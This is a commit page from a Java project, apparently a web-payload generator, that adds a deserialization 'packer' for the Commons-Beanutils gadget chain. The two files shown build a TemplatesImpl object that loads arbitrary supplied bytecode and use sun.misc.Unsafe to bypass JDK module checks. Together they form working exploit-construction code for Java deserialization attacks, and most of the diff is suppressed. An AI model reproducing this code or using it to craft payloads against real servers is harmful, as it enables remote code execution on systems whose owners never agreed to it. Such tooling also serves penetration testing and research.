feat: support deserialize packer (but only CB4)

This commit is contained in:
ReaJason
2024-12-10 21:07:41 +08:00
parent 9360408f6d
commit 6020e5eaa9
37 changed files with 690 additions and 62 deletions
File diff suppressed because one or more lines are too long
@@ -0,0 +1,52 @@
package com.reajason.javaweb.deserialize;
import com.reajason.javaweb.deserialize.utils.Reflections;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import lombok.SneakyThrows;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.dynamic.DynamicType;
/**
* @author ReaJason
* @since 2024/12/9
*/
public class TemplateUtils {
public static final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler";
public static Class TPL_CLASS = TemplatesImpl.class;
public static Class ABST_TRANSLET = AbstractTranslet.class;
public static Class TRANS_FACTORY = TransformerFactoryImpl.class;
static {
try {
// 兼容不同 JDK 版本
if (Boolean.parseBoolean(System.getProperty("properXalan", "false"))) {
TPL_CLASS = Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl");
ABST_TRANSLET = Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet");
TRANS_FACTORY = Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl");
}
} catch (Exception ignored) {
}
}
@SneakyThrows
public static TemplatesImpl createTemplatesImpl(byte[] bytes) {
TemplatesImpl templates = new TemplatesImpl();
byte[] fooBytes = new byte[0];
try (DynamicType.Unloaded<Object> make = new ByteBuddy()
.subclass(Object.class).name("foo")
.make()) {
fooBytes = make.getBytes();
}
Reflections.setFieldValue(templates, "_bytecodes", new byte[][]{
bytes, fooBytes
});
Reflections.setFieldValue(templates, "_transletIndex", 0);
Reflections.setFieldValue(templates, "_name", "SimpleJava");
Reflections.setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
return templates;
}
}
@@ -0,0 +1,49 @@
package com.reajason.javaweb.deserialize.utils;
import com.reajason.javaweb.deserialize.CommonsBeanutils19;
import java.lang.reflect.Field;
/**
* @author ReaJason
*/
@SuppressWarnings("restriction")
public class Reflections {
static {
try {
Class<?> unsafeClass = Class.forName("sun.misc.Unsafe");
java.lang.reflect.Field unsafeField = unsafeClass.getDeclaredField("theUnsafe");
unsafeField.setAccessible(true);
Object unsafe = unsafeField.get(null);
Object module = Class.class.getMethod("getModule").invoke(Object.class, (Object[]) null);
java.lang.reflect.Method objectFieldOffsetM = unsafe.getClass().getMethod("objectFieldOffset", Field.class);
Long offset = (Long) objectFieldOffsetM.invoke(unsafe, Class.class.getDeclaredField("module"));
java.lang.reflect.Method getAndSetObjectM = unsafe.getClass().getMethod("getAndSetObject", Object.class, long.class, Object.class);
getAndSetObjectM.invoke(unsafe, CommonsBeanutils19.class, offset, module);
} catch (Exception ignored) {
}
}
public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
} catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null) {
field = getField(clazz.getSuperclass(), fieldName);
}
}
return field;
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}
public static Object getFieldValue(final Object obj, final String fieldName) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
return field.get(obj);
}
}